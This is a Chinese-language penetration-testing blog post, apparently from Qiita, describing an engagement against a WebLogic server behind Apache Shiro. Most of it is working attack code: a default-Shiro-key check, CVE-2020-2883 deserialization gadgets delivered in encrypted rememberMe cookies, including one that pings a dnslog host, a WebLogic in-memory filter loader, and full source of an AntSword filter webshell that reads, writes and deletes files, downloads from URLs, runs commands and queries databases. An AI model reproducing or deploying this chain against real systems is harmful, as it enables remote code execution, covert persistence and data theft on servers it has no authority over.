使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell

在项目中碰到了Shiro的反序列化，用工具打发现没有成功，然后发现报错是weblogic的，想到了之前研究的WebLogic的几个CVE，遂对其展开研究。

# 纵观全局
本文涉及如下知识点:
1. 如何判断shiro正确的key
2. 构造CVE-2020-2883、CVE-2020-2555 gadget
3. WebLogic 内存shell
4. CVE-2020-2883加载字节码
5. 如何实现Filter类型的蚁剑shell

阅读本文之前，建议先看已经完成好的项目：https://github.com/Y4er/WebLogic-Shiro-shell

# 如何判断Shiro正确的key
两种思路
1. 根据Shiro的正确逻辑构造正确的Object
2. URLDNS判断

## 根据Shiro的正确逻辑构造正确的Object
一种思路是 @l1nk3r 师傅在 [《一种另类的 shiro 检测方式》](https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ) 提出来的，简单说一下。

在 `org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals` 中
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/2391a5ec-3067-400b-2b90-64fecea78414.png)

先获取cookie的bytes，然后进入convertBytesToPrincipals()

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d7a4a046-c4bf-c079-8f9b-be07409c58de.png)

在这个方法中先解密byte数组，然后反序列化对象。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/8fe65664-74ca-df1c-ac3d-c3c36afd1b4e.png)

反序列化时强制转换为PrincipalCollection类型，那么我们构造一个空的PrincipalCollection对象，key错误时返回rememberMe=deleteMe，正确时不返回。

PrincipalCollection是一个接口，继承他的类有如图
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/9405bcf0-60b9-8baa-bdc5-e69e5ff8ea7e.png)

SimplePrincipalCollection就是我们要用的，手动构造

```java
package org.chabug.test;

import org.apache.shiro.subject.SimplePrincipalCollection;
import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;

import java.io.IOException;

public class ShiroKey {
    public static void main(String[] args) throws IOException {
        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        byte[] bytes = Serializables.serialize(simplePrincipalCollection);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
        System.out.println(rememberMe);
    }
}
```

key为`kPH+bIxk5D2deZiIxcaaaA==`正确时不返回deleteMe
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/84f91212-8c67-bed8-2693-73f1712537a4.png)

错误时`AAA+bIxk5D2deZiIxcaaaA==`返回deleteMe
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/e1782791-b01e-e9f5-913a-c3a06d0ea3f5.png)

以此通过枚举key判断返回headers中是否出现了deleteMe即可。

## URLDNS判断
很简单了，直接给代码

```java
package org.chabug.test;

import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.URLDNS;

public class ShiroKey {
    public static void main(String[] args) throws Exception {
        URLDNS urldns = new URLDNS();
        Object object = urldns.getObject("http://oq287o.dnslog.cn");
        byte[] buf = Serializables.serialize(object);

        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
        System.out.println(rememberMe);
    }
}
```

key正确时会收到DNSLOG请求
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/00f9850f-172e-f459-87aa-6445837c96a4.png)

到这里，实际项目中判断出来了key为默认的`kPH+bIxk5D2deZiIxcaaaA==`，使用DNSLOG也收到了请求，使用工具跑了一下发现没有可用的gadget。接下来就是根据CVE-2020-2883、CVE-2020-2555这两个CVE来构造gadget进行RCE。

# 构造CVE-2020-2883、CVE-2020-2555 gadget
根据之前的我[分析过的payload](https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java)拿过来，配上Shiro的加密就完事

```java
package org.chabug.cve;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883 {
    public static void main(String[] args) throws Exception {
        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});        //ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});
        ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "ping test.oq287o.dnslog.cn"}});

        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                reflectionExtractor1,
                reflectionExtractor2,
                reflectionExtractor3,
        };

        Class clazz = ChainedExtractor.class.getSuperclass();
        Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
        m_aExtractor.setAccessible(true);

        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
        ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                reflectionExtractor
        };

        ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

        PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
        queue.add("1");
        queue.add("1");
        m_aExtractor.set(chainedExtractor1, valueExtractors);

        Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = Runtime.class;
        queueArray[1] = "1";

        byte[] buf = Serializables.serialize(queue);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
        System.out.println(rememberMe);
    }
}
```
本机测试，很好收到了请求
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/029025d1-2849-55d5-51b7-7f433770a2f7.png)

因为目标是Linux，改成/bin/bash在测试也收到了dnslog请求，然后随手就是一个反弹shell，却发现死活反弹不回来，然后本地监听80、443、8080等常规端口，用curl、wget等命令触发http请求没收到，判断为只出DNS，难受了啊。

此时再想目标机器是WebLogic，可以直接写jsp，通过不断的dnslog回显，base64拼接截取判断找到了war所在的目录(这个过程简直恶心)，写入txt、jsp、jspx均访问不到，难道是SpringMVC？试了多个目录均不行，并且发现目标机器是通过nginx反代WebLogic，内网中2台WebLogic做负载均衡，读的文件一会有一会没有，恶心，真的恶心，但是又不能不搞。

东西都访问不到，只能写内存马了呗，爷就不信搞不定。

# WebLogic 内存shell
作为一个渗透搬砖工程师，不会分析还不会抄？ 关于WebLogic的内存shell如何实现就不分析了，直接抄宽字节安全的文章[《weblogic 无文件webshell的技术研究》](https://www.cnblogs.com/potatsoSec/p/13162792.html) 最终实现了如下代码

```java
import java.io.*;
import java.lang.reflect.*;
import java.util.Map;

public class WebLogicEcho {
    static {
        try {
            Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
            Method m = executeThread.getDeclaredMethod("getCurrentWork");
            Object currentWork = m.invoke(Thread.currentThread());

            Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
            connectionHandlerF.setAccessible(true);
            Object obj = connectionHandlerF.get(currentWork);

            Field requestF = obj.getClass().getDeclaredField("request");
            requestF.setAccessible(true);
            obj = requestF.get(obj);

            Field contextF = obj.getClass().getDeclaredField("context");
            contextF.setAccessible(true);
            Object context = contextF.get(obj);

            Field classLoaderF = context.getClass().getDeclaredField("classLoader");
            classLoaderF.setAccessible(true);
            ClassLoader cl = (ClassLoader) classLoaderF.get(context);

            Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
            cachedClassesF.setAccessible(true);
            Object cachedClass = cachedClassesF.get(cl);

            Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
            if (getM.invoke(cachedClass, "shell") == null) {
                // this is your shell class byte code
                byte[] codeClass = new byte[]{22,22,2,2,2,2,2};
                Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClass.setAccessible(true);
                Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);

                String evilName = "gameName" + System.currentTimeMillis();
                String filterName = "gameFilter" + System.currentTimeMillis();
                String[] url = new String[]{"/*"};

                Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
                putM.invoke(cachedClass, filterName, evilFilterClass);
                Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
                Object filterManager = getFilterManagerM.invoke(context);

                Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
                registerFilterM.setAccessible(true);
                registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

宽字节安全的文章中采用的是base64+gzip的形式拿到shell，我是直接通过读文件的形式拿，因为我遇到了几个大坑，慢慢讲。

最开始的时候我是使用PythonInterpreter类加载WebLogicEcho.class字节码的形式，将我写的执行cmd命令的MyFilter的shell直接编译好，然后读取class字节码写入到codeClass数组中，编译什么的都顺利，就是发送过去之后，WebLogic会直接被打挂，多次调试之后发现是因为Python加载字节码数组太长了，导致溢出进程宕掉了。

可以，后来我用URLClassLoader，我把编译好的WebLogicEcho.class打个jar包，命令执行写入目标然后加载类可以了吧。很好，一切都没问题。代码长这样

```java
package org.chabug.cve;

import org.chabug.utils.Serializables;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.PriorityQueue;

public class CVE_2020_2883_URLClassLoader {
    public static void main(String[] args) {
        try {
            ReflectionExtractor extractor1 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{URL[].class}}
            );

            // this jar is result of `jar cvf a.jar WebLogicEcho.class`
            ReflectionExtractor extractor2 = new ReflectionExtractor(
                    "newInstance",
//                    new Object[]{new Object[]{new URL[]{new URL("file:///tmp/tttt.jar")}}}
                    new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}
            );

            // load filter shell
            ReflectionExtractor extractor3 = new ReflectionExtractor(
                    "loadClass",
                    new Object[]{"WebLogicEcho"}
            );

            ReflectionExtractor extractor4 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{}}
            );

            ReflectionExtractor extractor5 = new ReflectionExtractor(
                    "newInstance",
                    new Object[]{new Object[]{}}
            );


            ValueExtractor[] valueExtractors = new ValueExtractor[]{
                    extractor1,
                    extractor2,
                    extractor3,
                    extractor4,
                    extractor5,
            };
            Class clazz = ChainedExtractor.class.getSuperclass();
            Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
            m_aExtractor.setAccessible(true);

            ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
            ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                    reflectionExtractor
            };

            ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

            PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
            queue.add("1");
            queue.add("1");
            m_aExtractor.set(chainedExtractor1, valueExtractors);

            Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
            queueArray[0] = URLClassLoader.class;
            queueArray[1] = "1";

            byte[] buf = Serializables.serialize(queue);
            String key = "kPH+bIxk5D2deZiIxcaaaA==";
            String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
            System.out.println(rememberMe);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}
```
tttt.jar是WebLogicEcho.class打的jar包。此时WebLogicEcho.class是执行命令的filter shell，shell实现可见 [MyFilter.java](https://github.com/Y4er/WebLogic-Shiro-shell/blob/master/src/main/java/org/chabug/payloads/MyFilter.java)

哎，都没问题，直接怼上去cmdshell。演示图如下：
![1.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/59bca5a3-da71-dcf8-4b64-7f942470f7f2.gif)


> A：命令执行的shell有什么用呢？就是多了个回显结果？爷想要更多的功能，你把哥斯拉shell给爷怼进去！
我：啊这？好嘞


不就是哥斯拉的shell吗，改一改就行，然后就打脸了。以下是哥斯拉shell的部分代码

```java
    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", new String(data));
            Object f = ((Class) session.getAttribute("payload")).newInstance();
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {
    }
```

其中pageContext在filter中是没有的，我搜遍了资料，问遍了师傅也没解决，然后准备退而求其次，实现一个冰蝎的shell，然后发现冰蝎也用到了pageContext.............算了 蚁剑吧。下面是我实现的蚁剑的Filter shell.

```java
import javax.servlet.*;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.sql.*;
import java.text.SimpleDateFormat;

public class MyAntShellFilter implements Filter {
    String Pwd = "ant";   //连接密码
    // 数据编码 3 选 1
    String encoder = ""; // default
    // String encoder = "base64"; //base64
    // String encoder = "hex"; //hex
    String cs = "UTF-8"; // 脚本自身编码

    String EC(String s) throws Exception {
        if (encoder.equals("hex") || encoder == "hex") return s;
        return new String(s.getBytes("ISO-8859-1"), cs);
    }

    String showDatabases(String encode, String conn) throws Exception {
        String sql = "show databases"; // mysql
        String columnsep = "\t";
        String rowsep = "";
        return executeSQL(encode, conn, sql, columnsep, rowsep, false);
    }

    String showTables(String encode, String conn, String dbname) throws Exception {
        String sql = "show tables from " + dbname; // mysql
        String columnsep = "\t";
        String rowsep = "";
        return executeSQL(encode, conn, sql, columnsep, rowsep, false);
    }

    String showColumns(String encode, String conn, String dbname, String table) throws Exception {
        String columnsep = "\t";
        String rowsep = "";
        String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
        return executeSQL(encode, conn, sql, columnsep, rowsep, true);
    }

    String query(String encode, String conn, String sql) throws Exception {
        String columnsep = "\t|\t"; // general
        String rowsep = "\r\n";
        return executeSQL(encode, conn, sql, columnsep, rowsep, true);
    }

    String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
            throws Exception {
        String ret = "";
        conn = (EC(conn));
        String[] x = conn.trim().replace("\r\n", "\n").split("\n");
        Class.forName(x[0].trim());
        String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder);
        Connection c = DriverManager.getConnection(url);
        Statement stmt = c.createStatement();
        ResultSet rs = stmt.executeQuery(sql);
        ResultSetMetaData rsmd = rs.getMetaData();

        if (needcoluname) {
            for (int i = 1; i <= rsmd.getColumnCount(); i++) {
                String columnName = rsmd.getColumnName(i);
                ret += columnName + columnsep;
            }
            ret += rowsep;
        }

        while (rs.next()) {
            for (int i = 1; i <= rsmd.getColumnCount(); i++) {
                String columnValue = rs.getString(i);
                ret += columnValue + columnsep;
            }
            ret += rowsep;
        }
        return ret;
    }

    String WwwRootPathCode(ServletRequest r) throws Exception {
        String d = this.getClass().getClassLoader().getResource("/").getPath();
        String s = "";
        if (!d.substring(0, 1).equals("/")) {
            File[] roots = File.listRoots();
            for (int i = 0; i < roots.length; i++) {
                s += roots[i].toString().substring(0, 2) + "";
            }
        } else {
            s += "/";
        }
        return s;
    }

    String FileTreeCode(String dirPath) throws Exception {
        File oF = new File(dirPath), l[] = oF.listFiles();
        String s = "", sT, sQ, sF = "";
        java.util.Date dt;
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        for (int i = 0; i < l.length; i++) {
            dt = new java.util.Date(l[i].lastModified());
            sT = fm.format(dt);
            sQ = l[i].canRead() ? "R" : "";
            sQ += l[i].canWrite() ? " W" : "";
            if (l[i].isDirectory()) {
                s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
            } else {
                sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
            }
        }
        return s += sF;
    }

    String ReadFileCode(String filePath) throws Exception {
        String l = "", s = "";
        BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
        while ((l = br.readLine()) != null) {
            s += l + "\r\n";
        }
        br.close();
        return s;
    }

    String WriteFileCode(String filePath, String fileContext) throws Exception {
        BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
        bw.write(fileContext);
        bw.close();
        return "1";
    }

    String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
        File f = new File(fileOrDirPath);
        if (f.isDirectory()) {
            File x[] = f.listFiles();
            for (int k = 0; k < x.length; k++) {
                if (!x[k].delete()) {
                    DeleteFileOrDirCode(x[k].getPath());
                }
            }
        }
        f.delete();
        return "1";
    }

    void DownloadFileCode(String filePath, ServletResponse r) throws Exception {
        int n;
        byte[] b = new byte[512];
        r.reset();
        ServletOutputStream os = r.getOutputStream();
        BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
        os.write(("->|").getBytes(), 0, 3);
        while ((n = is.read(b, 0, 512)) != -1) {
            os.write(b, 0, n);
        }
        os.write(("|<-").getBytes(), 0, 3);
        os.close();
        is.close();
    }

    String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
        String h = "0123456789ABCDEF";
        File f = new File(savefilePath);
        f.createNewFile();
        FileOutputStream os = new FileOutputStream(f);
        for (int i = 0; i < fileHexContext.length(); i += 2) {
            os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
        }
        os.close();
        return "1";
    }

    String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
        File sf = new File(sourceFilePath), df = new File(targetFilePath);
        if (sf.isDirectory()) {
            if (!df.exists()) {
                df.mkdir();
            }
            File z[] = sf.listFiles();
            for (int j = 0; j < z.length; j++) {
                CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
            }
        } else {
            FileInputStream is = new FileInputStream(sf);
            FileOutputStream os = new FileOutputStream(df);
            int n;
            byte[] b = new byte[1024];
            while ((n = is.read(b, 0, 1024)) != -1) {
                os.write(b, 0, n);
            }
            is.close();
            os.close();
        }
        return "1";
    }

    String RenameFileOrDirCode(String oldName, String newName) throws Exception {
        File sf = new File(oldName), df = new File(newName);
        sf.renameTo(df);
        return "1";
    }

    String CreateDirCode(String dirPath) throws Exception {
        File f = new File(dirPath);
        f.mkdir();
        return "1";
    }

    String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
        File f = new File(fileOrDirPath);
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        java.util.Date dt = fm.parse(aTime);
        f.setLastModified(dt.getTime());
        return "1";
    }

    String WgetCode(String urlPath, String saveFilePath) throws Exception {
        URL u = new URL(urlPath);
        int n = 0;
        FileOutputStream os = new FileOutputStream(saveFilePath);
        HttpURLConnection h = (HttpURLConnection) u.openConnection();
        InputStream is = h.getInputStream();
        byte[] b = new byte[512];
        while ((n = is.read(b)) != -1) {
            os.write(b, 0, n);
        }
        os.close();
        is.close();
        h.disconnect();
        return "1";
    }

    String SysInfoCode(ServletRequest r) throws Exception {
//        String d = r.getServletContext().getRealPath("/");
        String d = this.getClass().getClassLoader().getResource("/").getPath();
        String serverInfo = System.getProperty("os.name");
        String separator = File.separator;
        String user = System.getProperty("user.name");
        String driverlist = WwwRootPathCode(r);
        return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
    }

    boolean isWin() {
        String osname = System.getProperty("os.name");
        osname = osname.toLowerCase();
        if (osname.startsWith("win"))
            return true;
        return false;
    }

    String ExecuteCommandCode(String cmdPath, String command) throws Exception {
        StringBuffer sb = new StringBuffer("");
        String[] c = {cmdPath, !isWin() ? "-c" : "/c", command};
        Process p = Runtime.getRuntime().exec(c);
        CopyInputStream(p.getInputStream(), sb);
        CopyInputStream(p.getErrorStream(), sb);
        return sb.toString();
    }

    String decode(String str) {
        byte[] bt = null;
        try {
            sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
            bt = decoder.decodeBuffer(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return new String(bt);
    }

    String decode(String str, String encode) {
        if (encode.equals("hex") || encode == "hex") {
            if (str == "null" || str.equals("null")) {
                return "";
            }
            StringBuilder sb = new StringBuilder();
            StringBuilder temp = new StringBuilder();
            try {
                for (int i = 0; i < str.length() - 1; i += 2) {
                    String output = str.substring(i, (i + 2));
                    int decimal = Integer.parseInt(output, 16);
                    sb.append((char) decimal);
                    temp.append(decimal);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
            return sb.toString();
        } else if (encode.equals("base64") || encode == "base64") {
            byte[] bt = null;
            try {
                sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
                bt = decoder.decodeBuffer(str);
            } catch (IOException e) {
                e.printStackTrace();
            }
            return new String(bt);
        }
        return str;
    }

    void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
        String l;
        BufferedReader br = new BufferedReader(new InputStreamReader(is));
        while ((l = br.readLine()) != null) {
            sb.append(l + "\r\n");
        }
        br.close();
    }

    public void init(FilterConfig f) throws ServletException {
    }


    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("size") != null) {
            response.setContentType("text/html");
            response.setCharacterEncoding(cs);
            StringBuffer sb = new StringBuffer("");
            try {
                String funccode = EC(request.getParameter(Pwd) + "");
                String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
                String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
                String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
                String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
                String[] pars = {z0, z1, z2, z3};
                sb.append("->|");

                if (funccode.equals("B")) {
                    sb.append(FileTreeCode(pars[1]));
                } else if (funccode.equals("C")) {
                    sb.append(ReadFileCode(pars[1]));
                } else if (funccode.equals("D")) {
                    sb.append(WriteFileCode(pars[1], pars[2]));
                } else if (funccode.equals("E")) {
                    sb.append(DeleteFileOrDirCode(pars[1]));
                } else if (funccode.equals("F")) {
                    DownloadFileCode(pars[1], response);
                } else if (funccode.equals("U")) {
                    sb.append(UploadFileCode(pars[1], pars[2]));
                } else if (funccode.equals("H")) {
                    sb.append(CopyFileOrDirCode(pars[1], pars[2]));
                } else if (funccode.equals("I")) {
                    sb.append(RenameFileOrDirCode(pars[1], pars[2]));
                } else if (funccode.equals("J")) {
                    sb.append(CreateDirCode(pars[1]));
                } else if (funccode.equals("K")) {
                    sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
                } else if (funccode.equals("L")) {
                    sb.append(WgetCode(pars[1], pars[2]));
                } else if (funccode.equals("M")) {
                    sb.append(ExecuteCommandCode(pars[1], pars[2]));
                } else if (funccode.equals("N")) {
                    sb.append(showDatabases(pars[0], pars[1]));
                } else if (funccode.equals("O")) {
                    sb.append(showTables(pars[0], pars[1], pars[2]));
                } else if (funccode.equals("P")) {
                    sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
                } else if (funccode.equals("Q")) {
                    sb.append(query(pars[0], pars[1], pars[2]));
                } else if (funccode.equals("A")) {
                    sb.append(SysInfoCode(request));
                }
            } catch (Exception e) {
                sb.append("ERROR" + "://" + e.toString());
                e.printStackTrace();
            }
            sb.append("|<-");
            response.getWriter().print(sb.toString());
        } else {
            chain.doFilter(request, response);
        }
    }

    public void destroy() {
    }
}
```

实现蚁剑Filter shell中踩坑发现在WebLogic中

```java
 String d = r.getServletContext().getRealPath("/")
```
这行代码获取的是空的，需要改为

```java
String d = this.getClass().getClassLoader().getResource("/").getPath();
```

没问题了，编译，读字节码写入到codeClass byte数组中，然后问题又来了，编译不通过.....

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ab7ae15d-8ea8-5dc3-e758-bcaca9480f3a.png)

codeClass字节码数组太长了，爷吐了。没关系，我写个方法，让他自己从本地读字节码，我通过命令执行把字节码写入就完事了。最终实现如下

```java
import java.io.*;
import java.lang.reflect.*;
import java.util.Map;

public class WebLogicEcho {
    static {
        try {
            Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
            Method m = executeThread.getDeclaredMethod("getCurrentWork");
            Object currentWork = m.invoke(Thread.currentThread());

            Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
            connectionHandlerF.setAccessible(true);
            Object obj = connectionHandlerF.get(currentWork);

            Field requestF = obj.getClass().getDeclaredField("request");
            requestF.setAccessible(true);
            obj = requestF.get(obj);

            Field contextF = obj.getClass().getDeclaredField("context");
            contextF.setAccessible(true);
            Object context = contextF.get(obj);

            Field classLoaderF = context.getClass().getDeclaredField("classLoader");
            classLoaderF.setAccessible(true);
            ClassLoader cl = (ClassLoader) classLoaderF.get(context);

            Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
            cachedClassesF.setAccessible(true);
            Object cachedClass = cachedClassesF.get(cl);

            Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
            if (getM.invoke(cachedClass, "shell") == null) {
//                byte[] codeClass = getBytesByFile("/tmp/MyAntShellFilter.class");
                byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/MyAntShellFilter.class");
                Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClass.setAccessible(true);
                Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);

                String evilName = "gameName" + System.currentTimeMillis();
                String filterName = "gameFilter" + System.currentTimeMillis();
                String[] url = new String[]{"/*"};

                Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
                putM.invoke(cachedClass, filterName, evilFilterClass);
                Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
                Object filterManager = getFilterManagerM.invoke(context);

                Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
                registerFilterM.setAccessible(true);
                registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static byte[] getBytesByFile(String pathStr) {
        File file = new File(pathStr);
        try {
            FileInputStream fis = new FileInputStream(file);
            ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
            byte[] b = new byte[1000];
            int n;
            while ((n = fis.read(b)) != -1) {
                bos.write(b, 0, n);
            }
            fis.close();
            byte[] data = bos.toByteArray();
            bos.close();
            return data;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}
```

捋一下，把MyAntShellFilter.class写入到目标，WebLogicEcho.class打成jar包写入目标，然后CVE_2020_2883_URLClassLoader生成rememberMe的cookie，蚁剑链接，成了！

![antshell.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/552246f4-448d-6266-a972-9b4f4cf57812.gif)

# 总结
文字能表现出来的东西很表面，因为实际环境中碰到的难题我很难用文字去描述出来，其实当时反代的问题就困扰了我们好久。不过总算历时两周的研究，终于搞定了项目，期间抄的代码无数，很难，但是蚁剑链接success的时候心里的激动是无与伦比的，踩得坑好像也不算什么了。或许这就是平凡的搞站生活中一点点不可多得的喜悦吧。

# 参考
1. https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ
2. https://www.cnblogs.com/potatsoSec/p/13162792.html
3. https://github.com/Y4er/WebLogic-Shiro-shell

特别感谢宽字节团队@蛋黄